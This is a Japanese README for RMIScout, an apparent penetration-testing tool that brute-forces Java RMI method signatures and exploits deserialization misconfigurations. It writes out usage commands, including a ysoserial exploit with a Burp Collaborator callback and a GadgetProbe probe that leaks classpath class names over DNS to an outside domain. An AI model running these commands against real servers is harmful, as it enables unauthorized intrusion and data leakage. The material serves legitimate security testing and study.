
RMIScoutは、露出したJava RMIインターフェースに対してワードリストおよびブルートフォース攻撃を行い、メソッドシグネチャを安全に推測(呼び出しなし)することを可能にします。複数のJava RMIプロトコル、メソッド呼び出し、およびエクスプロイトをサポートしています。
RMI関数を識別するが実行しないために、RMIScoutは低レベルのRMIネットワーク関数と動的クラス生成を使用して、意図的に型を不一致にしたRMI呼び出しを送信し、リモート例外を発生させます。すべてのパラメータは、リモートクラスパスに存在しないと想定される255文字の名前を持つ動的に生成されたシリアライズ可能クラスに置き換えられます。例:
Remote Interface:
void login(String user, String password)
RMIScout は以下を呼び出します:
login((String) new QQkzkn3..255 chars..(), (String) new QQkzkn3..255 chars..())
クラスが存在する場合、これは基になるメソッドを呼び出すことなく、ClassNotFoundException または引数のアンマーシャリングエラーによって引き起こされるリモート java.rmi.UnmarshalException を引き起こします。
より詳細な技術文書:
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
リモートサーバー上でチェックするメソッドプロトタイプのワードリストを指定します。RMIScout は特定されたすべての一致を出力します。
RMI-IIOP/CORBA の場合: メソッドがオーバーロードされていない限り、ブルートフォースと呼び出しは名前が一致するだけで十分です(他のすべての情報は無視されます)。
./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>
候補メソッド名のワードリストを指定し、次にカンマ区切りの候補戻り値の型、パラメータ数の範囲、および候補パラメータ型を指定します。ブルートフォースモードはこれらの組み合わせを生成し、一致するシグネチャを探します。
./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
設定ミスのあるサーバーでは、非プリミティブ型(例:java.util.List)を使用する既知のRMIシグネチャは、オブジェクトをシリアライズペイロードに置き換えることでエクスプロイトできます。これは、An Trinh氏の2019年Blackhat EU講演で強調されているように、かなり一般的な設定ミスです(例:VMWare vSphere Data Protection + vRealize Operations Manager、Pivotal tc Server and Gemfire、Apache Karaf + Cassandra)。
RMIScoutはysoserialと統合して、プロセス全体のシリアライゼーションフィルタ(JEP 290)を誤って設定しているサービスに対するデシリアライゼーション攻撃を実行します。
エクスプロイト可能なシグネチャの例:
void exampleMethod(java.util.Map a) // 任意の非プリミティブ型
void exampleMethod(float[] a) // あらゆる種類の配列(プリミティブも含む)
void exampleMethod(String a) // 古いJDKでは動作する(下記参照)
注: java.lang.String 型を含むシグネチャは、RMI-JRMPでは2020年初頭以前のJRE 8/11/13/14リリースでのみエクスプロイト可能ですが、RMI-IIOPでは現在もエクスプロイト可能です。
./rmiscout.sh invoke -p 1 -p 4 -s 'int add(int a, int b)' <host> <port>
./rmiscout.sh invoke -p 1,2,3,4 -s 'int addList(int[] a)' <host> <port>
RMIScoutを使用すると、プリミティブ、プリミティブ配列、または文字列を使用して任意のシグネチャを呼び出すことができます。より高度な型を使用するには、カスタムクライアントを作成する必要があります。
./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
RMIScoutはGadgetProbeと統合して、リモートクラスパス内のクラスを特定します。クラス名はDNS経由で外部に漏洩します。
付属の rmiscout.sh スクリプトを使用してプロジェクトを自動的にビルドし、java -jar 構文の便利なラッパーとして使用します:
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
または、プロジェクトを手動でビルドし、従来の java -jar 構文を使用します:
# 手動でJARをビルド
./gradlew shadowJar
java -jar build/libs/rmiscout-1.4-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>
注: RMI-IIOP(コンパイル/ランタイム)とysoserial(ランタイム)はJDK8に依存しています。
Docker化されたデモRMIサーバーを実行します。付属の demo/wordlist.txt を試してみてください。
cd demo
./start_demo.sh
Q: <host>:<port> がRMIレジストリかどうかを判断するには?
./rmiscout list <host> <port> を使用して、リモートサーバー上のレジストリに関する情報を取得します。
[INFO] Registries available on 127.0.0.1:1099 = [ActivationServer:com.bishopfox.example.ActivationImpl_Stub, plaintest:com.bishopfox.example.HelloInterface]
または、nmapの rmi-dumpregistry スクリプトを使用します:
nmap --script rmi-dumpregistry 172.17.0.1 -p 1099 -Pn
PORT STATE SERVICE
1099/tcp open rmiregistry
| rmi-dumpregistry:
| ActivationServer
| com.bishopfox.example.ActivationImpl_Stub
| \x00\x0EActivatableRef
| extends
| java.rmi.server.RemoteStub
| extends
| java.rmi.server.RemoteObject
| plaintest
| implements com.bishopfox.example.HelloInterface,
| extends
| java.lang.reflect.Proxy
| fields
| Ljava/lang/reflect/InvocationHandler; h
| java.rmi.server.RemoteObjectInvocationHandler
| @127.0.0.1:1111
| extends
|_ java.rmi.server.RemoteObject
Q: ポート1098で java.rmi.activation.ActivationSystem という名前のレジストリを見つけました。これで何ができますか?
これはrmidアクティベーションシステムデーモンです。そのすべてのメソッドはSecurityManagerによって制限されています。最近のJREでは、リモートデータをデシリアライズする前にリモートピアがローカルホストからのものかどうかをチェックします。2011年以前の古いバージョンにはこのチェックがなく、脆弱である可能性があります。参照:https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb
Q: RMIScoutをJRE 8よりも新しいランタイムで実行できますか?
A: 技術的には可能ですが、多くの機能が動作しなくなります。CORBAサポート、プローブサポート、ysoserial(エクスプロイトモード)はJRE 8への依存が必要です。
Q: CannotCompileException が発生するのはなぜですか?
A: CannotCompileException は、無効なメソッド名またはプロトタイプが直接またはワードリストを介して提供された場合に発生します。RMIScoutは、ユーザーが提供した候補シグネチャのバイトコードをランタイムに生成します。RMIScoutにはユーザー提供のプロトタイプにおける一般的な構文エラーを修正するための基本的なルールがありますが、時々失敗することがあります。
Twitter: @BumbleSec
GitHub: the-bumble